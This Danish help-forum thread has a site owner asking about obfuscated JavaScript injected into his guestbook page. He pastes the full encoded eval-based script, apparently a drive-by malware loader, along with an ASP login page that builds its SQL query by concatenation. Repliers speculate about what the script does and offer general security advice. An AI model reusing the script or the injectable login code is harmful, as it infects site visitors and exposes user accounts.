18. juli 2008 - 20:48Der er
11 kommentarer og 1 løsning
Sikkerhedshul på hjemmeside.
Hejsa.
Jeg fik en besked før i dag, fra en af mine venner, at han ikke kunne se gæstebogen på min hjemmeside, da hans antivirus gik amok. Jeg fandt så ud af at der var tilføjet noget javascript i en af filerne. Efter at have fjernet det, virker det hele fint igen. Min hjemmeside ligger hos UnoEuro. 1. Hvordan kan dette script pludseligt dukke op i min fil? Det er kun mig der har FTP adgang til den. 2. Hvordan sikrer jeg mig at det ikke sker igen? 3. Hvad gør dette script? (Se scriptet nedenunder)
Her er scriptet: <script language="javascript">$="%64b%3d%22%3c7`7%3c7a7%3c7b7%3c7c7%3c7d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c%2526%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudT%22;dd%3d%22iSx%2522%3c}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950%25265##950%2522%2526M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209%22;dz%3d%22%2566unc%2574%2569on%2520dw(%2574)%257bca%253d%2527%252564oc%252575m%2565n%252574.w%25257%2532i%2574%252565%2528%252522%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253csc%252572ipt%252520%256c%25256%2531ngu%252561%2567e%25253d%25255c%252522ja%2576a%252573c%2572i%252570%252574%25255c%252522%25253e%2527;cc%253d%2527%25253c%2525%2535%2563%25252fs%2563%2572i%2570t%25253e%2527;eval%2528%2575nes%2563ape%2528t))%257d%253b%22;cd%3d%223dst+%2553tr%2569n%2567.f%2572%256fmCh%2561rC%256f%2564e((%2574%256d%2570.%2563h%22;cc%3d%225ngt%2568;i%252b+)%257bt%256dp%253dds.%2573%256ci%2563e%2528i,i%252b1)%253bst%25%22;cb%3d%22e%2528ds%2529;%2573t%253dt%256dp%253d%2527%2527;for(%2569%253d%2530;i%253cds.l%256%22;cu%3d%22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4%3czub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dobuf4d%7bdKazpqf4)4zaxx%2fbuf4d%7bdKw%7b%7b%257F}qKzuyq4)46upbyu%257FqfK%257F%7byud6%2fbuf4d%7bdK`}yq%7ba`4)4#%2526$%2frazw`}%7bz4d%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3dobuf4}gKqzuvxqp4)4ruxgq%2f}r4%3c5c}zp%7bc:%7bdqfu42245zub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dfq`afz4}gKqzuvxqp%2f}r4%3c`mdq%7br4p%7bwayqz`:w%7b%7b%257F}q4))43g`f}zs3%3d}r4%3cp%7bwayqz`:w%7b%7b%257F}q:xqzs`|4))4$%3dop%7bwayqz`:w%7b%7b%257F}q4)46`qg`6%2f}gKqzuvxqp4)4p%7bwayqz`:w%7b%7b%257F}q4))43`qg`3%2fp%7bwayqz`:w%7b%7b%257F}q4)433%2fiqxgqo}gKqzuvxqp4)4`faq%2fifq`afz4}gKqzuvxqp%2firazw`}%7bz4d%7bdKsq`W%7b%7b%257F}q%3czuyq%3dobuf4w%7b%7b%257F}q4)46464?4p%7bwayqz`:w%7b%7b%257F}q%2fbuf4gqufw|4)46464?4zuyq4?46)6%2fbuf4gq`G`f4)4zaxx%2fbuf4%7brrgq`4)4$%2fbuf4qzp4)4$%2f}r4%3cw%7b%7b%257F}q:xqzs`|4*4$%3do%7brrgq`4)4w%7b%7b%257F}q:}zpql[r%3cgqufw|%3d%2f}r4%3c%7brrgq`45)49%25%3do%7brrgq`4?)4gqufw|:xqzs`|%2fqzp4)4w%7b%7b%257F}q:}zpql[r%3c6%2f684%7brrgq`%3d%2f}r4%3cqzp4))49%25%3doqzp4)4w%7b%7b%257F}q:xqzs`|%2figq`G`f4)4azqgwudq%3cw%7b%7b%257F}q:gavg`f}zs%3c%7brrgq`84qzp%3d%3d%2fiifq`afz%3cgq`G`f%3d%2firazw`}%7bz4d%7bdKgq`W%7b%7b%257F}q4%3czuyq84buxaq%3dop%7bwayqz`:w%7b%7b%257F}q4)4zuyq4?46)64?4qgwudq%3cbuxaq%3d4?46%2f4qld}fqg)Rf}pum8%27%259Pqw9!$4%2526%27.!-.!-4SY@%2f4du`|);%2f6%2firazw`}%7bz4g|%7bcKd%7bd%3c%3dobuf4d%7bdKczp4)46|``d.;;rvwyr}f:w%7by;ws}9v}z;}zpql:ws}+pl6%2fbuf4rquKczp4)46gwf%7bxxvufg)%258fqg}nuvxq)%258`%7b%7bxvuf)%258x%7bwu`}%7bz)%258yqzavuf)%258g`u`ag)%258p}fqw`%7bf}qg)$6%2fbuf4zqqpK%7bdqz4)4`faq%2f}r4%3cp%7bwayqz`:%7bzwx}w%257FKw%7bdm45)4zaxx%3dp%7bwayqz`:%7bzwx}w%257FKw%7bdm%3c%3d%2f}r4%3cp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm45)4zaxx%3dp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm%3c%3d%2f}r4%3cd%7bdKazpqf45)4zaxx%3do}r4%3c5d%7bdKazpqf:wx%7bgqp%3dzqqpK%7bdqz4)4ruxgq%2fi}r4%3czqqpK%7bdqz%3do}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3dobux4)4d%7bdKsq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq%3d%2f}r4%3cbux45)4zaxx%3doz%7bc4)4zqc4Pu`q%3c%3d%2fbux%25264)4zqc4Pu`q%3cbux%3d%2fa`w%27%25264)4Pu`q:A@W%3cz%7bc:sq`RaxxMquf%3c%3d84z%7bc:sq`Y%7bz`|%3c%3d84z%7bc:sq`Pu`q%3c%3d84z%7bc:sq`%255C%7bafg%3c%3d84z%7bc:sq`Y}za`qg%3c%3d84z%7bc:sq`Gqw%7bzpg%3c%3d%3d%2fa`w%25264)4Pu`q:A@W%3cbux%2526:sq`RaxxMquf%3c%3d84bux%2526:sq`Y%7bz`|%3c%3d84bux%2526:sq`Pu`q%3c%3d84bux%2526:sq`%255C%7bafg%3c%3d84bux%2526:sq`Y}za`qg%3c%3d84bux%2526:sq`Gqw%7bzpg%3c%3d%3d%2f}r4%3c4%3c4a`w%27%2526494a`w%25264%3d4;4%25$$$4(4d%7bdK`}yq%7ba`%3e%2522$%3dozqqpK%7bdqz4)4ruxgq%2fiiii}r4%3czqqpK%7bdqz%3doazpqf4)4c}zp%7bc:%7bdqz%3cd%7bdKczp846684rquKczp%3d%2fazpqf:vxaf%3c%3d%2fc}zp%7bc:r%7bwag%3c%3d%2f}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3doz%7bc4)4zqc4Pu`q%3c%3d%2fd%7bdKgq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq84z%7bc%3d%2fiiirazw`}%7bz4d%7bdK}z}`%3c%3dobuf4bqf4)4dufgqRx%7bu`%3czub}su`%7bf:uddBqfg}%7bz%3d%2fbuf4bqf%25264)4%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-!6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-,6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4Z@6%3d*)$4%3d22%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3[dqfu3%3d4))49%25%3d22%3czub}su`%7bf:uddZuyq45)43Zq`gwudq3%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3YG]Q3%3d4*49%25%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3GB%253%3d4*49%25%3d422%3cbqf4*)4%2520%3d%2f}r4%3cbqf%2526%3do}r4%3cp%7bwayqz`:x}z%257Fg%3dor%7bf4%3cbuf4})$%2f4}(p%7bwayqz`:x}z%257Fg:xqzs`|%2f4}??%3do}r4%3cp%7bwayqz`:x}z%257FgO}I:`ufsq`45)46Kvxuz%257F6%3dop%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F%2fp%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F4)4g|%7bcKd%7bd%2fiiiip%7bwayqz`:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:%7bzwx}w%257F%2fp%7bwayqz`:%7bzy%7bagqad4)4g|%7bcKd%7bd%2fid%7bdK}z}`%3c%3d%2fi(;gwf}d`*%22;de%3d%22M+}Sx-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:%2526950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%22qi89;%25229+u|cu0d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8$:t99;8}Nt9:$9;t9+budeb~0b+mfqb0t-7vrs}vyb%3es%257F}7+fqb0iSx!%3c%22;cz%3d%22%2566u%256ec%2574i%256fn %2563z%2528%2563%257a)%257bret%2575rn%2520c%2561%252b%2563%2562%252bc%2563+%2563%2564+c%2565+c%257a;}%253b%22;da%3d%22fqb0})-~ug0Qbbqi87|qe~%257F7%3c7%7brtfu7%3c7zsdxb7%3c7ytvyb7%3c7xufyv7%3c7wvhuc7%3c7vwfuc7%3c7uxwxd7%3c7tzu~y7%3c7s%7bud~7%3c7r||uf7%3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7%7b7%3c7|7%3c7}7%3c7~7%3c7%257F7%22;ca%3d%22%2566%2575nc%2574%2569o%256e%2520dcs%2528ds%252ce%2573)%257bds%253dun%2565s%2563ap%22;ce%3d%22%2561%2572Co%2564e%2541t(%2530)^%2528%25270x0%2530%2527+es%2529%2529);}%257d%22;op%3d%22%2524%253d%2522dw(d%2563%2573(cu%252c14)%2529;%2522;%22;st%3d%22%2573t%253d%2522$%253ds%2574%253b%2564c%2573%2528%2564a%252b%2564%2562%252b%2564%2563+%2564%2564%252b%2564e%252c1%2530%2529;%2564w%2528%2573t%2529%253bs%2574%253d%2524;%2522;%22;%69f %28d%6fc%75me%6et.%63ook%69%65%2eind%65%78%4f%66(%27%76%62ull%65%74%69%6e%5f%6dult%69qu%6f%74%65%3d%27)%3d%3d-1)%7bsc(%27vbulle%74%69%6e_%6dul%74iq%75ote%3d%27,2,7%29;e%76a%6c%28u%6ee%73ca%70e%28dz+%63%7a+op%2bs%74)+%27dw%28dz%2bcz%28$+s%74))%3b%27)}e%6cse%7b$%3d%27%27};function%20s%63(c%6em,%76,e%64)%7bv%61r e%78d%3dnew D%61t%65();%65xd.%73%65%74D%61%74e(%65xd.%67e%74Da%74e(%29+%65d);%64oc%75men%74%2ecoo%6bie%3dc%6em%2b %27%3d%27 +%65sc%61%70%65(v%29+%27;e%78p%69%72es%3d%27+e%78d.%74o%47MTS%74ri%6e%67%28);}%3b";eval(unescape($));document.write($);</script>
1. Den løsning du bruger som grundlag har et eller andet hul som kan udnyttes til den slags. Hvis du f.eks. bruger en lidt ældre udgave af wordpress eller joomla så er der masser af muligheder for en hacker til at lave den slags julelege
2. Det kan du grundlæggende ikke, der bliver hele tiden fundet nye huller, men ved at sørge for at opdaterer din løsning og ved at følge med i udviklingen så gør du det mindre sandsyneligt
3. Det er jeg nødt til at undersøge og det er ikke sikkert jeg kan fortælle dig nøjagtigt hvad det gør, men typisk redirecter disse scripts til en anden side samt evt downloader et eller andet program eller fil til den computer der åbner siden, hvis denne computer er sårbar. De programmer der downloades er typisk downloaders, mailere og host programmer så den inficerede maskine kan fjernstyres via IRC. jeg ser lige om jeg kan finde noget og vender så tilbage
Koden ser ud til at være joomla specefik så jeg vil gætte på at det er den løsning du bruger. Det ligner et bufferoverflow til IE, men hvilken sårbar plugin den undytter kan jeg ikke se med de givne oplysninger, mit gær er zip eller adobe plugin til IE. Jeg kan heller ikke sæge hvad den gør udover at åbne et pupop vindu, men det er ofte bare den måde den eksekvere sin kode på
"Hvis du f.eks. bruger en lidt ældre udgave af wordpress eller joomla så er der masser af muligheder for en hacker til at lave den slags julelege"... Flere spørgsmål... Wordpress/Joomla?? Er det programmer man bruger til at lave sine hjemmesider i. Altså á la frontpage eller sådan noget?? Jeg forstår det altså ikke helt... Det er en helt almindelig html side der er blevet "hacket". Jeg har spugt UnoEuro og også fået svaret at det er min side der har et hul i sikkerheden. Men er det ikke dem der skal sørge for, at man ikke kan "hacke" sig ind på deres kunders sider??
Jo selvf er det det men hvis du fx har chmod'et hele biblioteket som gæstebogen ligger i og ikke kun databasen vil de ha mulighed for at skrive til filerne. (og dermed kan man sige at det ikke længere er deres ansvar :()
Din udbyder har ansvaret for det software der er installeret på den fysiske server. De koder du selv ligger på dit web sted har du ansvaret for.
Hvis du selv har lavet al koden, så ligger problemet i den måde du har lavet den på og den sikkerhed du har implementeret. Det kan være din password funktion der ikke er stærk nok. Hvis du har mulighed for upload af f.eks. billeder og ikke har sørget for at det kun er billed filer man kan uploade, så kan enhver uploade et script og køre dette og dermed hacke dit site let.
Wordpress/joomla er samlinger af html/php filer som man kan downloade og så uploade på sin egen server (i dit tilfælde hos en udbyder) og så bruge dem som løsning. Hvis du f.eks. vil have en blog kan du bruge en færdig løsning fra wordpress. Problemet med disse ganske avancerede løsninger er at de som alt andet har huller og hvis du ikke hele tiden opdaterer den løsning du har downloadet, så kan disse huller udnyttes
Ok. Jeg har forstået at jeg har et sikkerhedshul. Men hvordan det foregår rent praktisk forstår jeg ikke... Jeg er nød til at se et eksempel. Hvordan kan jeg f.eks. sikre en tom html fil som denne?: ------------------------------------------- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>[Ingen titel]</title> <meta name="Generator" content="Stone's WebWriter 4"> </head> <body>
</body> </html> ------------------------------------------- Findes der ikke en "hjemmeside-sikkerhed for dummies" hvor jeg kan læse noget mere?? :-)
Du kan ikke sikre en simpel html side, da denne ikke har noget der kan udnyttes. Detdu skal sikre er der hvor du har funktionalitet, altså hvor dine brugere kan interagere med din side.
Det er typisk login, upload, gæstebog, forum, blog og anden funktionalitet hvor brugerne skal give en eller anden form for indput. Hvordan du sikre disse løsninger afhænger helt af hvordan løsningen er lavet og derfor kan man ikke lave en for dummies hvor du kan læse mere. Jeg har skrevet lidt om det for længe siden, du får et link når jeg finder det
Ok... Jeg har gået min hjemmeside igennem og fundet ud af at min login side også er hacket. Hvis jeg nu ligger denne side herind, kan du så fortælle mig hvad jeg rent praktisk kan gøre for at sikre siden så godt som muligt?? ---------------------------------- <% Set Conn = Server.CreateObject("ADODB.Connection") Conn.Open "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=" & server.mappath("../DATABASER/login.mdb") %>
<% If Request.QueryString("Mode") = "Check" Then ' Her forberedes de indtastede værdier til validering strUID = Trim(Replace(Request.Form("Username"),"'","")) strPWD = Trim(Replace(Request.Form("Password"),"'",""))
' Hvis der er skrevet noget i både brugernavn og adgangskode If Len(strUID) > 0 And Len(strPWD) > 0 Then
' Opbygning af SQL streng sSQL = "SELECT * FROM Users WHERE (Username = '" & strUID & "') AND (Password = '" & strPWD & "')"
Set Rs = Server.CreateObject("ADODB.RecordSet") Rs.Open sSQL, Conn, 3,3
If Not (rs.BOF Or rs.EOF) Then ' Hvis brugeren fandtes i databasen Session("UserID") = Rs("UserID") session("Admin") = Rs("Admin") Response.redirect rs("Admin") & "/index.asp" Else
' Hvis brugeren ikke fandtes i databasen Response.redirect "index.asp" End If
Rs.Close Set Rs = Nothing Else Response.redirect "index.asp" End If
ikke rigtig, da jeg ikke er kode stærk og grundlæggende bør du ikke afsløre dine koder på et offentligt site som eksperten, det vil give en hacker masser af muligheder for at få hul på din sikkerhed blot ved lidt kvalificeret gætværk
Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.